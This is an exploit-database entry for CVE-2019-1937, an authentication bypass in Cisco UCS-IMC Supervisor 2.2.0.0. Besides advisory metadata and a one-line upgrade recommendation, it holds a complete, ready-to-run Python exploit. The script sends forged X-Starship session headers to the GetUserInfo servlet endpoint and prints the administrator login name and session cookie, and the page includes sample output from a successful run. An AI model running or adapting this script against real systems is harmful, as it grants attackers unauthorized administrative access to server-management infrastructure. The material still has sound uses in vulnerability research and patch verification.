Cisco UCS-IMC Supervisor 2.2.0.0 - Authentication Bypass

vendor:

Cisco UCS-IMC Supervisor

by:

Fatih Sencer

7.5

CVSS

HIGH

Authentication Bypass

287

CWE

Product Name: Cisco UCS-IMC Supervisor

Affected Version From:

Affected Version To: 2.2.0.0

Patch Exists: YES

Related CWE: CVE-2019-1937

CPE: a:cisco_systems:ucs-imc_supervisor:2.2.0.0

Metasploit: https://www.rapid7.com/db/modules/exploit/linux/http/cisco_ucs_rce/

Other Scripts:

Platforms Tested:

2019

Cisco UCS-IMC Supervisor 2.2.0.0 – Authentication Bypass

This exploit allows an attacker to bypass authentication in Cisco UCS-IMC Supervisor version 2.2.0.0 and earlier. By sending a specially crafted request to the /app/ui/ClientServlet?apiName=GetUserInfo endpoint, the attacker can gain unauthorized access to the system.

Mitigation:

Upgrade to version 2.2.1.0 or later.

Source

Exploit-DB raw data:

[+] Exploit Title: Cisco UCS-IMC Supervisor 2.2.0.0 - Authentication Bypass
[+] Cisco IMC Supervisor - < 2.2.1.0
[+] Date: 08/21/2019
[+] Affected Component: /app/ui/ClientServlet?apiName=GetUserInfo
[+] Vendor: https://www.cisco.com/c/en/us/products/servers-unified-computing/integrated-management-controller-imc-supervisor/index.html
[+] Vulnerability Discovery : Pedro Ribeiro
[+] Exploit Author: Fatih Sencer
[+] CVE: CVE-2019-1937
----------------------------------------------------

Usage:

./python3 CiscoIMC-Bypass.py -u host

[+] Target https://xxxxxx.com
[+] Target OK
[+] Exploit Succes
[+] Login name : admin
[+] Cookie : REACTED

"""

import argparse,requests,warnings,base64,json,random,string
from requests.packages.urllib3.exceptions import InsecureRequestWarning

warnings.simplefilter('ignore',InsecureRequestWarning)


def init():
    parser = argparse.ArgumentParser(description='Cisco IMC Supervisor / Authentication Bypass')
    parser.add_argument('-u','--host',help='Host', type=str, required=True)
    args = parser.parse_args()
    exploit(args)

def exploit(args):
    session = requests.Session()
    headers = {
        "User-Agent":                   "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_4)",
        "X-Requested-With":             "XMLHttpRequest",
        "Referer":                      "https://{}/".format(args.host),
        "X-Starship-UserSession-Key":   ''.join(random.choices(string.ascii_uppercase + string.digits, k=10)),
        "X-Starship-Request-Key":   ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))
    }
    target = "https://{}/app/ui/ClientServlet?apiName=GetUserInfo".format(args.host)
    print("[+] Target {}".format(args.host))
    
    exp_send = session.get(target, headers=headers, verify=False, timeout=10)

    if exp_send.status_code == 200:
        print("[+] Target OK")
        body_data = json.loads(exp_send.text)
        if not (body_data.get('loginName') is None):
            print("[+] Exploit Succes")
            print("[+] Login name : {}".format(body_data.get('loginName')))
            print("[+] Cookie : {}".format(session.cookies.get_dict()))
        else:
            print("[-] Exploit Failed")
            
    else:
        print("[-] N/A")
        exit()

if __name__ == "__main__":
    init()